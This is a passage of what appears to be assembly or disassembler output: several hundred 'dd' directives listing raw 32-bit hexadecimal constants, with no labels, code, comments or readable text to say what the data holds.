		dd 0E05509A0h, 2E3D350Ah, 0A081764Bh, 67709707h, 0F7C58B2Ah
		dd 9E6990ECh, 3F755852h, 138238A3h, 4A07E2C1h, 0B7526EC2h
		dd 582EE75Bh, 0E496675Eh, 4CB50060h, 7066EE28h,	80E61E59h
		dd 0BF9268C6h, 65F3EE20h, 0A54B77E1h, 0E8E5E0B8h, 41574EF7h
		dd 68612191h, 0D8C5C97Bh, 0E933E58h, 191A608h, 69D85EB9h
		dd 2AA22FDEh, 0F713860Ch, 0C40BEAB2h, 0F5E2BDDAh, 0EE5D9722h
		dd 3DE22255h, 82FD0B94h, 0A38D86DEh, 0FB93B6F6h, 0E8DE42Ch
		dd 616FC86Eh, 0C8E9014Bh, 330ABDC0h, 0A0900F92h, 10D0665h
		dd 4B5547F4h, 7FB5F154h, 4B298538h, 8066BCA6h, 0D86277EAh
		dd 0F6874C13h, 350C0A12h, 488EB12Fh, 6C40C73Dh,	646A2D68h
		dd 70E93ADCh, 627BB91Eh, 9CCA7CE9h, 272FE055h, 0B3E9AE6h
		dd 535166D8h, 4F721E07h, 0D71D89C4h, 880E9185h,	1E8F43D1h
		dd 43F2C902h, 0FE405A18h
		dd 0D7043CF6h, 95A865C5h, 9528AFD3h, 0DCB8A156h, 5D058E7Ch
		dd 0BF5AD131h, 76574135h, 26E9DEB4h, 0A451E416h, 79F48B95h
		dd 0E6E2ED51h, 0B86FFCD2h, 1FB00D20h, 0C399445Eh, 20A9C92Ah
		dd 0DBB5B30Bh, 4C93BDB4h, 0E52DEEA4h, 9ADBB5F4h, 9DC8B023h
		dd 578D1171h, 0E7042DBFh, 62B035C1h, 54303E6Dh,	3FDCF6B7h
		dd 2A48792Eh, 0FE7CF501h, 71050173h, 3D5875B4h,	0EB81DD26h
		dd 650D2DA4h, 0A330C93h, 26E555CDh, 920822CFh, 1742F7ADh
		dd 0C6165558h, 1255D803h, 0BD1F750h, 6C6AE904h,	35B85090h
		dd 0D6B836ECh, 31A9664Bh, 342E0184h, 9465CCABh,	0A5FD39EBh
		dd 49B3014h, 7C951912h,	0AA4C6302h, 8F1ABC82h, 82E60C09h
		dd 763E18EEh, 7DA83215h, 0A0388E24h, 3E600111h,	41162E89h
		dd 4B02F5F8h, 0D128A668h, 412ED5E5h, 88B25163h,	93EB29B9h
		dd 0C8A7AC64h, 41001E48h, 817BDD14h, 371D0EE2h,	0CA84332Dh
		dd 4FA3B88h, 1EB51D6h, 0ED80D528h, 0E867E7F7h, 0DEE50CD2h
		dd 82E68357h, 0A2B4A41Ch, 0E9050478h, 65FF0A78h, 7AB1B14Bh
		dd 32E96FCCh, 5F1C9054h, 6403E661h, 0D0C35D0h, 0B66A3D43h
		dd 0D0FB1659h, 69B8B409h, 1630205Fh, 7DE36123h,	0C2F94F78h
		dd 405A10h, 251251C6h, 0D5BC3FC4h, 0E9194720h, 0E1417D3Ah
		dd 0B73C23DCh, 59267AE5h, 37253465h, 4452C912h,	5A787AACh
		dd 5EBCC2FDh, 7488D55Eh, 18681C13h, 82DB7561h, 51806496h
		dd 0C5FE6CB5h, 0F463E480h, 21B0A0DDh, 0F99735E9h, 7FDCA6C2h
		dd 91A2CA77h, 0F620EE0Ch, 0D77DDF72h, 9CF3CF3Eh, 0C70E25B0h
		dd 4168CA58h, 0FED3DE32h, 33D049B1h, 0F4E6C09h,	0EFE8053Eh
		dd 565B0709h, 7F61528Bh, 87108C1Bh, 13AF2EEFh, 0E1A8F6BAh
		dd 0A9F42ED2h, 0F36E5A19h, 0AB144E76h, 4E790069h, 0E3C132F8h
		dd 0B8500003h, 63222EADh, 2426E235h, 6F013BCCh,	0E93FB57Dh
		dd 8C2B7BD1h, 5173E880h, 0E0A0C55Bh, 0D1A64B7Eh, 758530Fh
		dd 5B5AF5F1h, 0B059EED0h, 7C7CB2F8h, 928C7080h,	3B954158h
		dd 4B4B523Ah, 0D35C538Dh, 2578ED2Dh, 0DECBFCDBh, 0E96FC74Eh
		dd 0C60652E6h, 0E0CEF5E4h, 18CBEB46h, 93793CAEh, 0E16005D8h
		dd 2680B66h, 97C9363h, 0CA0013F9h, 3722CD81h, 52594D2Fh
		dd 235C09A3h, 0F5017BCFh, 71C7106Bh, 2E7FFBC3h,	0EE1F102h
		dd 57E801A4h, 0E9170A94h, 0C490561Ch, 7BF8F6D7h, 0FA4EDEh
		dd 0C5E6B9E1h, 6814188Ch, 9E4A6F1Ch, 368D4104h,	0E14C7701h
		dd 0A58E4030h, 384F4F2Bh, 2D03E3A8h, 7BCA3B73h,	4005C8C1h
		dd 24BE5607h, 6F3C7914h, 61281146h, 601CED03h, 28062F9Bh
		dd 751B631Eh, 22444BAEh, 5B555C48h, 0D8222F06h,	0B80093C7h
		dd 3DF93D79h, 66B2958h,	0B2090D4h, 42519A80h, 0F32CD12Ch
		dd 0DD133A00h, 74E94A41h, 0A0F792BEh, 257B686Fh, 815E2D05h
		dd 0AB44948Fh, 9C010010h, 13BA1532h, 845BDE31h,	0A3C0BF67h
		dd 4B3ADB69h, 0FAF712C3h, 1FCD7861h, 44715803h,	53117F0Eh
		dd 0C60DA01h, 13A30C08h, 0FC71024Bh, 512B17C6h,	99E4DACh
		dd 3510282Dh, 9FA06602h, 0E3FA5556h, 0FF1A5E64h, 991FF8C4h
		dd 1701406h, 0B9B0A836h, 5D3A17D7h, 9DA85Eh, 3F590F1Dh
		dd 4BD9F741h, 0F2BB855h, 98453825h, 0C18314h, 23C98101h
		dd 0E96BAB17h, 0E134F4Bh, 0FC302B0h, 9AE4CD2h, 0D4A9D0A9h
		dd 8AB69348h, 287A0409h, 257A5CF0h, 0C6C50D68h,	4C321F09h
		dd 38D70150h, 0B1405B18h, 0B6DAEF7h, 9FE968B5h,	6041C20h
		dd 16BF7C2Ch, 9789E2B1h, 0F308BF45h, 0CF870B34h, 3008098Dh
		dd 792CB4BFh, 0C71F704Dh, 66C05884h, 0FEDE2281h, 0FBC8304h
		dd 0D02FAECEh, 64C4D92Ch, 0E8EAA57h, 8B5A8B39h,	10BA4C99h
		dd 884E6021h, 0A90B9A4Dh, 0DD010987h, 0ED051F1Ch, 5965782h
		dd 22EA9713h, 5D68589Bh, 0F34B875Eh, 54C179A2h,	436AE882h
		dd 0EFD48BD0h, 0E90DBFDFh, 41AB4BF1h, 74F31E25h, 90B4E810h
		dd 251482B6h, 31D6C688h, 945BFE8Ah, 8E855C17h, 751F9B81h
		dd 61D42E2Ch, 41F47424h, 34E701E3h, 0B4754B1Dh,	13671E5Dh
		dd 72BA6D80h, 5C6653F0h, 89A45D4Bh, 66F00FEBh, 12892AC4h
		dd 18C04978h, 775687C3h, 4A0CC152h, 2267E15Ch, 0A20841B1h
		dd 86F8140Ch, 5EA07604h, 1942FE9h, 0ADC649ABh, 4EB77F78h
		dd 0F001274Fh, 0C8088E71h, 38F82D0Dh, 0D3CAF558h, 2848A01h
		dd 863F3531h, 0E1001211h, 0BE37C623h, 2DF72667h, 0C951296Ch
		dd 87897D6Bh, 255F9B7Dh, 0A55D311Ch, 94A1EC89h,	5A814578h
		dd 0F9171F4Eh, 1C1F7F1Ah, 3E085197h, 35AF26BFh,	6058F5D8h
		dd 204AB473h, 63FCE989h, 0AC10DF0Eh, 1EA1E29h, 0B6E7E23h
		dd 0AC8270C9h, 68407861h, 0BC224FCBh, 0A377A992h, 775E58Fh
		dd 2DC399EBh, 0C4EF8BE3h, 15F4EB3h, 0B3C78020h,	5BF9C05Ah
		dd 1D852C38h, 0C02804C8h, 3D913732h, 0EBE485EDh, 6D3FF100h
		dd 20E9B2CCh, 0B33BD3A2h, 45879A15h, 0A362F52Eh, 69ACB722h
		dd 38395A9h, 2A205C9h, 3B21E4F5h, 32940A1Ah, 5A20AB4Bh
		dd 5F7B5752h, 0D6AD4553h, 0AF71A496h, 9F299040h, 60EA3AE8h
		dd 15B1B0Fh, 8A81CC6h, 0C5CAE92Ah, 6B3DE2B7h, 0D27BDA27h
		dd 5AD10475h, 0E3177C68h, 8EAF108Ah, 6D135D2Fh,	79582325h
		dd 0F766E1C5h, 0DA68CCE9h, 0D1ED524Ah, 144DEAC4h, 929A12E6h
		dd 10A81734h, 25E957A0h, 0E3F09941h, 0EA7718D0h, 44590C31h
		dd 0A4755328h, 35284E0Ch, 17890C0Eh, 0AC29A647h, 0EF2C4ACDh
		dd 47690316h, 4BD98719h, 0E9810600h, 0E45968CFh, 6B44B729h
		dd 5E54A025h, 1699C833h, 65895Bh, 0A03CA1ECh, 56436D12h
		dd 119ECA0Ch, 97F0B8E9h, 21691F73h, 0F942E9A4h,	1DC2FE54h
		dd 7279F605h, 0F1527942h, 0D4685705h, 16AAD830h, 5039AA21h
		dd 1C78F19Dh, 0E9C14F6Dh, 642289DCh, 0E224CB7Ah, 0FAC0B95h
		dd 28BC9E08h, 8AEE0BD6h, 38235B3Ah, 85485C0Ah, 58152D86h
		dd 0A39820ECh, 9CC5282Ch, 2E347213h, 0E53A37BAh, 5E49FC77h
		dd 4BBF2B17h, 0B5D65859h, 821A1EA4h, 55D6B9h, 6EAD713Ah
		dd 0DA80DBF7h, 68E52815h, 7EA430C2h, 0EF7AC58Fh, 59B899FAh
		dd 2E8881CFh, 5EF86F59h, 46B31E56h, 0DA4D3A01h,	61FD0923h
		dd 0B4C43A43h, 2F7E158Bh, 0E569CB18h, 7CDFE1CDh, 0F4F24E51h
		dd 94B188C5h, 0E304BA67h, 0F5407632h, 494A5F5Ah, 65C439Dh
		dd 0B54D9FEh, 1F0BBE7Eh, 0D2940150h, 0C923220Fh, 99780AFCh
		dd 0C7C65950h, 9FC3225Eh, 0BAFD036Dh, 43FD0175h, 2EA73ED1h
		dd 75C6D8A3h, 0F9951CC2h, 3FFD02C0h, 0AE421EB4h, 7EB38BD7h
		dd 8CE978CAh, 2542EA59h, 5A67ECD6h, 0E4F5E8F2h,	62AF82h
		dd 2DD8F75Bh, 7E1B016Bh, 84414F67h, 2F18D122h, 0BFADCCC4h
		dd 0A520DB90h, 0DA50BFh, 1A1079FCh, 0EF8608BDh,	6D12E55Bh
		dd 0A197655Ch, 60F80984h, 0D24AF7B8h, 0DA67DCDh, 0A45D1372h
		dd 612DD28Dh, 859E87F1h, 59D691Eh, 56919A70h, 2B267D10h
		dd 0CA2FFC0Bh, 582F01F0h, 0CBD8F1A2h, 2E638E59h, 0F051B31Eh
		dd 3B0C11F7h, 0CF025836h, 63D210FBh, 12C1C78Eh,	30896BFFh
		dd 0B92FE9F3h, 34355B88h, 33D80C2h, 55004020h, 4961A125h
		dd 0E3E0577h, 0D148D4Eh, 11CF0AA0h, 71D3540h, 8952CA57h
		dd 4E39E2E0h, 0D0E4CC36h, 109FC1FAh, 0BCBFE9FEh, 0A85213F2h
		dd 140092F6h, 0B6034CC6h, 0D6012469h, 88082056h, 8010FC1Eh
		dd 0B249BBDh, 960BB07Ch, 214D9806h, 0F721F5F0h,	0F2E9B47Bh
		dd 0BA63570Fh, 0B3FA8442h
		dd 15E0BACDh, 50C89F62h, 0B9809C55h, 83641E53h,	9721897Bh
		dd 82D63924h, 5E04A562h, 87D630BFh, 43FE4DF5h, 61BA89C0h
		dd 0C07F796Ah, 0A1178E7Ch, 0D00C0105h, 651884E9h, 71A713Ch
		dd 0C1C9814Fh, 0EC523E12h, 45804FF7h, 1610A11Bh, 0A959CF29h
		dd 16524823h, 0AED10C04h, 0BC0456B2h, 0FD7573D9h, 0C709EF67h
		dd 5001F8B4h, 0C20B8668h, 5047357h, 92526BE9h, 0EC55D8DBh
		dd 3BA2812Dh, 1EC66E74h, 0FBB551CDh, 0FE8BE509h, 87E66482h
		dd 6A95E564h, 550B422Ah, 0FFE936A1h, 0FD9DCBCEh, 0D5E9A033h
		dd 4BB69A98h, 2154D4E3h, 5B4ECFh, 3A51CC05h, 2891B1Ah
		dd 5F02F566h, 0B200830Ah, 0FAEAC037h, 0C3E20E80h, 18BECAFEh
		dd 0E96906A7h, 89C45A7Ch, 0A15601EBh, 0B1DF6C67h, 578F5h
		dd 0C862F64Ah, 2D009298h, 45AE10DDh, 9DD178E9h,	3920A344h
		dd 0E6C01381h, 0B624FE02h, 91B0B501h, 0D1E2C628h, 0BFF93FAFh
		dd 99BF190Ah, 6A7AEA5Ch, 680BE7E7h, 8E465053h, 516FAA2Dh
		dd 70930C58h, 0FC26EED7h, 602F6D11h, 9DEA2996h,	514E28B2h
		dd 686F1F66h, 0FCBB06Bh, 0EF87FD29h, 926626E5h,	0AFD5319Fh
		dd 278E6632h, 10F23BA3h, 0C8B6DA9Eh, 0C22C0673h, 62377C0Ah
		dd 6C649202h, 0A9A8553Ch, 7C1C3008h, 6767E178h,	5DA6E9A3h
		dd 0A9F504C9h, 0C16B8A4Dh, 0E16ED9D7h, 44AA700Ch, 636C0217h
		dd 12033D0Ch, 9262188Fh, 64E40C1Eh, 0CC45A90h, 0B7877697h
		dd 57D03AB2h, 47F6BAEEh, 514F7992h, 4BEC8CC0h, 0A0BD9059h
		dd 0BD4FAA39h, 0D2D8F96Ah, 43583F7Ah, 464B10F2h, 0FB03977Bh
		dd 61059581h, 0D4E8DEAh, 3C7D65C1h, 3EA9B800h, 5E42162Ch
		dd 49293500h, 9055E2Ch,	1C3A7786h, 832F0F50h, 0B9865BEh
		dd 695233FEh, 5E13804Fh, 10DF3FF9h, 74BF0248h, 4022453Dh
		dd 0FC595FFDh, 0B79F4BCBh, 0CAC83EDFh, 55AE28BEh, 475FBD02h
		dd 5E454A71h, 12C62059h, 0EBB58EB8h, 9E99102h, 3F185582h
		dd 63C0ABF0h, 0DF82CBFh, 0F7E139D1h, 8CC0B8CEh,	1271EA5Eh
		dd 0F848C0E9h, 4187C4BAh, 62F8BA01h, 0B01493F5h, 0DAED6757h
		dd 1064B25Ah, 0F24A62B3h, 2F0C2193h, 300BDD7Eh,	1A957522h
		dd 3AA6E986h, 59D7808Bh, 0EA4EB75Dh, 0A9FAEC98h, 0DEE75D7h
		dd 2C9BD543h, 30C202DAh, 4057294Ch, 90D1923h, 415921DDh
		dd 0C5EA4100h, 8925DE90h, 415FD1CFh, 63D9A2E9h,	34B84B42h
		dd 4042BBC8h, 0A6D14865h, 4F5B9C12h, 0BC231B05h, 57ABB45Ch
		dd 0B2F7166Eh, 0E3D3C4B1h, 0E2B545BAh, 7B67FB66h, 0E64DD0A2h
		dd 0BE56027Fh, 3C037F7Eh, 123F09E0h, 2135CD13h,	0ADE90BD1h
		dd 3E2EB13Ah, 9C739AA3h, 0A65CD999h, 0FE110E5Fh, 38ECC602h
		dd 0C2E9772Bh, 7A55AD93h, 0DC8F5B89h, 344733Ah,	0C85A5B09h
		dd 0FC0FC560h, 0BF3C5134h, 24A37193h, 0FB08320h, 61429CBCh
		dd 77FF0129h, 66983F28h, 3EA369F4h, 14D1A75h, 1A71E08Ah
		dd 0F602D568h, 1CFE182Dh, 0F240C074h, 0DA3B1644h, 720180D8h
		dd 0EA83706Ah, 0F4884974h, 0C15F0977h, 27355600h, 713FC068h
		dd 590C9648h, 181054E3h, 0DABF016Dh, 17BB840h, 8BACD13Ah
		dd 40F77E3Ch, 3BE5E9C2h, 2371CB52h, 502F3827h, 22C2972Ah
		dd 441A284h, 97EB2D5Ah,	0B0ECBF6Bh, 0C509EBC5h,	5774430Ah
		dd 3408A6A8h, 31D0EB1Ch, 800E3568h, 724120E9h, 0F2CA420h
		dd 43336A6Fh, 5550CA86h, 3D16F67Bh, 0D01214Ah, 51BE06E0h
		dd 1EE9182Ah, 37281E01h, 0B601A182h, 0E9022E61h, 336B478Dh
		dd 0DD17F6C5h, 0F9EC7068h, 432DD95Fh, 23138107h, 75BE45D0h
		dd 164AACDh, 9218D9FDh,	9D25C901h, 3A415182h, 0F3438A80h
		dd 0B5E95272h, 55482A9Ah, 5B940011h, 0A0BD5EE6h, 587E77A9h
		dd 5D80CB29h, 3F64C02Dh, 0A0EC524Fh, 5F8B0740h,	928B7114h
		dd 6F680089h, 0BB189D54h, 0E8B91E4Fh, 89DA3DBCh, 25802DBh
		dd 5CB71DEFh, 41FE8032h, 0DF29741Ch, 4A316C9Fh,	606EE9EFh
		dd 1D74C50Ch, 0D7013F7Dh, 2C08C728h, 805179E9h,	0DC6039BDh
		dd 0E55BC106h, 6AA19C80h, 0F57D440Eh, 99799401h, 8065E932h
		dd 0DDB6A2BEh, 1A121E04h, 4FA88CECh, 0B748C220h, 7FD7293Ch
		dd 28118F38h, 40B4A9F8h, 62E7C1C9h, 0E3F0DA05h,	234A0029h
		dd 0C159484Eh, 0DA2DBD0Ch, 32F8F20Eh, 2619050Bh, 816CF81Bh
		dd 0E03F5807h, 0D35FF7F5h, 0C0048BECh, 0C14BDE75h, 66DFBBF4h
		dd 59D85FB5h, 9610F668h, 5B8860BAh, 0A1B044D1h,	2958F6A4h
		dd 9BA14090h, 6E4D2618h, 281FBD0Ch, 0BB5251Dh, 0D83BA1DDh
		dd 48A31601h, 0F9A9204Dh, 4A086CD0h, 39AF0C84h,	28FF07D1h
		dd 21E80FADh, 345C3C13h, 9FDA5370h, 80C14C10h, 9BAC8CB1h
		dd 0B3C8E116h, 5BD81F09h, 6C4A0A40h, 0C360A7B5h, 0E983CCADh
		dd 51804437h, 576284B8h, 19983139h, 0CA1CD298h,	189D870h
		dd 923C05F2h, 3E3B9545h, 59533CAFh, 3FF6813h, 3400CBB3h
		dd 421DF76Fh, 849FE2C1h, 93109BB7h, 453CC704h, 8132458h
		dd 285B30ADh, 0B298F185h, 120F6A27h, 532D770h, 681612D0h
		dd 0CCE36B26h, 0CC954E73h, 42954087h, 82887394h, 22B26857h
		dd 0D15F28C0h, 8029EF78h, 0E98BCC45h, 0BD31E0CEh, 944B0050h
		dd 0ADCD8160h, 60C1840h, 206F58E9h, 0B05E3DB2h,	2CE50481h
		dd 0DBD0287Ch, 15B652A0h, 80CEFE07h, 0F632B7E6h, 3AE07747h
		dd 81BD5AE9h, 4C93BAC3h, 3E8179FCh, 0FC5F35E2h,	96F20042h
		dd 0E933840Ch, 0B2365F4Dh, 48B509AEh, 5F22D851h, 5B94E405h
		dd 0DCA594B9h, 4BC25B09h, 0EAFE0E0Eh, 68859C72h, 0C7885805h
		dd 0B1BAB543h, 0F27BF782h, 3E6DEC5Fh, 332ADA29h, 0A92EA0B6h
		dd 4668665Eh, 169D5B5Bh, 0C8524F70h, 29345A39h,	0F48C26D3h
		dd 0FDC89DADh, 0CDF56DC9h, 0E7192057h, 8665E401h, 0CFE9C889h
		dd 0ED83123Ah, 1EFFA48Ch, 0E925A06Ch, 213C41ACh, 9F770A8h
		dd 6BF64DCDh, 22F90900h, 0B1B8B5B6h, 0DCF57B5Fh, 8705A67Ch
		dd 0F31C4793h, 3124C29h, 34B45BEBh, 5EBB3229h, 0C8ABBC8h
		dd 4B8602AEh, 0A8DC7438h, 5B4A08A0h, 0BAB11DACh, 0F5D5812Fh
		dd 13B63A1Ch, 0CBBBD9ECh, 9FC85CBAh, 8FD3F1B2h,	0EA37C40Bh
		dd 458AAFD5h, 30BB9DAAh, 6B504AFFh, 6EB1F5EDh, 45EFA040h
		dd 4E0AD5E8h, 79B8F089h, 0EED9B280h, 0D06BF512h, 7163EDA3h
		dd 0E3891627h, 0D0E6FA21h, 0A67B977Eh, 0D20CEE24h, 0BEE616Dh
		dd 0CF319D8h, 8093FEAh,	0F7D7B378h, 0F26569FBh,	0FE5F0946h
		dd 0BE01B3B3h, 0AFF4B388h, 465F2E56h, 85278609h, 702F5DAh
		dd 0F2E175E9h, 0D8226A5h, 0FE41C40Ah, 5FE81C11h, 0E9B0A6A2h
		dd 869E4FAEh, 7E200952h, 82EFC453h, 0D15758B0h,	0E0981614h
		dd 0B50BBBD1h, 1B28464Dh, 574CFAE9h, 0CE575B09h, 0BD779889h
		dd 80300DB0h, 0E6E37FCEh, 983A736Bh, 971EFCD2h,	43BE6D82h
		dd 0B860887Dh, 684AC200h, 0A2EE2964h, 5D0800CFh, 1E0ABA52h
		dd 8B112612h, 0A47763E9h, 1FAC01F5h, 0B0E68B0h,	2A6E89C4h
		dd 0AAF18003h, 28D0CCC2h, 4C5B13Dh, 0B2520DC9h,	0F7D138C2h
		dd 88254D64h, 0AA17BF5h, 81BC2D03h, 884451C1h, 1DD46F0Bh
		dd 0E1990814h, 0CC6A9230h, 669E6DDFh, 80E0D42Fh, 0E1B7717Ah
		dd 5912CA01h, 6E17C229h, 20B93001h, 0D1FB1E17h,	81818CC4h
		dd 755DCE1h, 38B22B37h,	0EEBF8A02h, 3D6129B4h, 50D4532Eh
		dd 0EA5471EAh, 0CDAE8812h, 8E7AC8h, 0BF2C4E34h,	0B5B83F75h
		dd 0FC031716h, 0E0F0C9ECh, 738766F0h, 0DBF728D9h, 1194C706h
		dd 9A6432ECh, 5AB7DAF2h
		dd 0A25D4A9Eh, 0E709D621h, 0C9DB33F8h, 12A77686h, 7C131E3h
		dd 16302A93h, 5A0D7CADh, 8167A158h, 568C1F76h, 17D8495Bh
		dd 0C4FEA84Ch, 9DBCFC0Ah, 5F4994D1h, 7ECB5094h,	0E39DD447h
		dd 3D004E40h, 130946F7h, 0B7F92164h, 2501C6F0h,	0E9100508h
		dd 0A3931FDEh, 1AB61FE2h, 635F901Bh, 0B60D485Fh, 0CC209358h
		dd 0E363464Bh, 6E12E0EEh, 9F6F822h, 181A3E77h, 0AB8DB384h
		dd 0E6127EDDh, 5A744155h, 0AC27F469h, 25F664E2h, 7C429AC2h
		dd 0BE7D4967h, 2092429Ch, 425B481Ch, 0C6714B5Ah, 433FAD7Fh
		dd 0C64A9CF8h, 0EEDF2130h, 2276EF00h, 0F9894380h, 0DD3855E9h
		dd 454DC0FAh, 90B17306h, 9C4D5A76h, 0F14A2990h,	0E98308B2h
		dd 2D038759h, 162B27EFh, 70C007Eh, 11BB62Fh, 1D59E9F7h
		dd 0E4662CBCh, 644BEE0Ah, 56AFB38Bh, 2A54099h, 81052D43h
		dd 933AD5E5h, 0A4B424C7h, 5B02F813h, 19449480h,	24F0BD4Fh
		dd 0FA2E3A25h, 250BEC4Bh, 367E0427h, 2B44E681h,	0E63E4519h
		dd 0BBDE3064h, 267EB468h, 42AA6351h, 0CE57679Ch, 4072B091h
		dd 2D054825h, 595B7038h, 5D6809EBh, 51C3070h, 0F752A697h
		dd 552CEAE8h, 59438135h, 0E35F09BBh, 5D070BF5h,	6A49400h
		dd 31264487h, 0DE18F6CFh, 0A8309095h, 0B78184B1h, 6922826Eh
		dd 8EF263Eh, 0EC40131Dh, 59E82C0Eh, 0BFDB981h, 69303E46h
		dd 1A021277h, 0EEC70132h, 0D45FCF13h, 6FC4DDA9h, 70B31D5Ah
		dd 7B322809h, 0F382E689h, 0C7DD0C5Ch, 2D252C87h, 0A273E20Eh
		dd 6E0CC0FCh, 27F7476Fh, 4CC34EDEh, 0B1C1F626h,	0FEB0213h
		dd 6FC9E97Ch, 35008F14h, 4D33494Ch, 907E090Dh, 196814EFh
		dd 0F181313Ch, 3D1FC760h, 0EBE604C4h, 7880287Dh, 242B4DF6h
		dd 2FB3290h, 41631ED3h,	5825AD5Eh, 26C5ECBDh, 4088ABE9h
		dd 0B95AF9C6h, 56CC444Fh, 3AEF2968h, 47519E90h,	0D1B31961h
		dd 6910A8E9h, 4EC87F26h, 5D4127F8h, 5D05CF87h, 6612EBEAh
		dd 948F1D81h, 0E1D3FA05h, 1D74A48h, 98303398h, 0E88C4442h
		dd 9C312DF8h, 22E73029h, 44CBEE39h, 97782824h, 0CA80872Ah
		dd 0FA0272F6h, 0F1216F6Ah, 7550C25Eh, 83F8F510h, 53A56880h
		dd 530FAC57h, 0C47C5056h, 0C2056F43h, 5960E8E7h, 0AD80AF09h
		dd 53F30E2Dh, 0AAB62160h, 0F5E95A43h, 0E6AB8436h, 296DD69h
		dd 82A488F8h, 2BD7DC93h, 0ED9E7DB9h, 0DC2D1FBBh, 3CE0436Dh
		dd 8F293A5Ah, 56135B6Ch, 0DFBFE508h, 54B0F094h,	50F87E95h
		dd 0D9C5E9Fh, 4EBE6963h, 0AE58645Dh, 0E956E203h, 6222CEA2h
		dd 3D9D0E57h, 52832E5Eh, 0B06FC77Eh, 24824FEDh,	2344130h
		dd 0AD45E22h, 881ADE4h,	0C7DDC65Dh, 36D29332h, 0B607EF00h
		dd 0A8C38056h, 0EB57F307h, 45A6653h, 67E96A0Ah,	0F6D88ADh
		dd 7D90171Fh, 29010EF0h, 0C7324898h, 4636501h, 34C3E96Dh
		dd 0FA95BB1Fh, 4F2AF4C9h, 2132D04Ah, 94C014Dh, 41AC0064h
		dd 0EFC10D59h, 2CD59E03h, 922E3829h, 5311603h, 82CB29C5h
		dd 5EEE1C12h, 92F25453h, 14D3DEFh, 1094C8ABh, 606435F1h
		dd 28F30D0Fh, 0E93FA08Eh, 0D1BD7061h, 640B8CAEh, 0C0AC735h
		dd 8B259822h, 74AE0E13h, 229FB5Fh, 8BDD882Eh, 5E4C1E92h
		dd 6C2309A6h, 0BF847827h, 0BF6033C1h, 8C328E6h,	6884D6A5h
		dd 62FE12DCh, 520535E1h, 0EA3A57D0h, 6F681253h,	0C1A7A879h
		dd 2958646Dh, 0A9EB823Fh, 150C8808h, 0FBD0C5Ch,	7A5443Ah
		dd 90C85145h, 535AD694h, 716FBEB8h, 5955A74Eh, 115B0B3Bh
		dd 566ED710h, 6FE0A856h, 78D384B7h, 4C0B50Eh, 2CE828A8h
		dd 0B68B6FE9h, 13537C7Ah, 0B15B050h, 5DE8E7Eh, 0A0C57572h
		dd 68E08539h, 775666E3h, 12824400h, 2DE9446Fh, 4CFBC835h
		dd 0E24696BDh, 1481B6FCh, 6F212EFBh, 64EA6B81h,	0EC1387E4h
		dd 3D4E3EF2h, 0B91808B0h, 0DE5FDDA6h, 0D76435E0h, 5134A851h
		dd 0D4DB6FCEh, 89B14A19h, 59B56AC6h, 0E9D61C22h, 65311023h
		dd 5518774Ch, 2DD1A851h, 909DFD76h, 2FB35371h, 0DFCB88FCh
		dd 3868B5E9h, 93F0A414h, 0C89304C5h, 0AD4CE936h, 0DEC327C7h
		dd 0C5599621h, 0E849016Ch, 6B715BEDh, 7082AC81h, 0A61A302Ah
		dd 3000363Bh, 62CD814Dh, 0A1723373h, 48EEDD80h,	9435E3F8h
		dd 17CEAC9h, 312339F3h,	0E3A46A49h, 1E5C1438h, 3705DB9Fh
		dd 0EC41105Fh, 0CD0B73B8h, 5E6245E9h, 0E91A5E44h, 862E3DA1h
		dd 0A0D42082h, 0BA92BBD6h, 2F312052h, 5B6F79F4h, 15076059h
		dd 60596D2Dh, 782F9449h, 85B83DEBh, 6374FD4Ah, 5B7AF9A4h
		dd 4C9BF724h, 49FE4A40h, 9FF1EABDh, 5A2C1149h, 411FDA48h
		dd 0D1126F9Bh, 28F42864h, 4E209854h, 5A9BF34Ch,	0BF5390B4h
		dd 42B0CA03h, 0E95A35E0h, 4A59E62Fh, 0EEEC7D20h, 9888ED27h
		dd 0E019B0DAh, 0B549FAC2h, 0EA29C902h, 0C3D57641h, 0C30D5CFBh
		dd 0A7D397E9h, 0BCED857Fh, 68AA4AECh, 0F782874Eh, 14AE5790h
		dd 0C12616EEh, 0CD03F3E5h, 7A19DBh, 0D095C50Ch,	43E9A7AAh
		dd 22DDDF5Fh, 0E74F684Bh, 685C09A9h, 1918572Dh,	7F0358BBh
		dd 1EE92031h, 0EA551DEFh, 5036C4D6h, 10D6AC4Ah,	680267DFh
		dd 2A7D066Bh, 0D81A871h, 4DE36C18h, 0F79EC17Fh,	0BCB07FD0h
		dd 783F119Bh, 0F8091273h, 0BC222B12h, 0C9EDFDE2h, 90BC7FA5h
		dd 124E629Bh, 6B8AF2B4h, 1857D238h, 4AE768A7h, 57CDD807h
		dd 20B36695h, 511C94DFh, 0E889FD88h, 19439659h,	0A42CC0FEh
		dd 0E92AC841h, 0A0172320h, 7B850DBh, 65911FCh, 891A48h
		dd 355BE605h, 6F34E96Ch, 45BB644Ah, 0B8C330A5h,	2CE9C680h
		dd 0F2D0BDBDh, 4C7F7527h, 92286428h, 658CAF8Ah,	0DBB70B53h
		dd 93581AB1h, 5EB9304Ah, 930BAB97h, 0B7406044h,	0FA20015Eh
		dd 5E2C05Bh, 96F542F6h,	0FA908D58h, 1D24651Eh, 6C52DD92h
		dd 0E9074013h, 88B41105h, 552DDAB8h, 6C945F50h,	12490C60h
		dd 0E4BB054Ah, 0C27DDC62h, 3E597E12h, 0DA323E3Ch, 4E7872F2h
		dd 888700C7h, 0F65A5BDDh, 0EC09D576h, 21286859h, 6339E91Ah
		dd 21C7893Ah, 4B486C25h, 74EA37B0h, 0BE63BD87h,	3FD529C1h
		dd 0CE6B26B5h, 4B4F1007h, 921AC24Ah, 0A574D48Eh, 5961BB01h
		dd 2F897A50h, 36257BE7h, 5B5ABE01h, 0E162AD58h,	0D93CE21Bh
		dd 0F180167Ch, 0BAD70022h, 12CD0F6h, 0DE2D0C2Fh, 8B55493Ch
		dd 505BD6A3h, 209DA7E9h, 9502ED58h, 0CFF54815h,	2AF7F96Bh
		dd 7C0285E0h, 0C128062Ch, 0D32A6841h, 0DEBBC182h, 0B498A3E6h
		dd 0E77EB882h, 8E795202h, 21306A70h, 0F5870703h, 7060DEC9h
		dd 3ACEC456h, 0C4E5F8ECh, 31AF5B3Ch, 0F7B714h, 12B8BA52h
		dd 0B89D98F8h, 3AED4E88h, 29434D12h, 21CB05DBh,	36BAD0h
		dd 944EC380h, 5AB8BAADh, 180CCB79h, 10EA06FDh, 5BE9711Eh
		dd 0CF31AD83h, 40668B57h, 12C7356Fh, 0B009164Ch, 0D19F8943h
		dd 53FC6979h, 436B3F80h, 0B57C0169h, 0C82A0E6h,	1C3210D7h
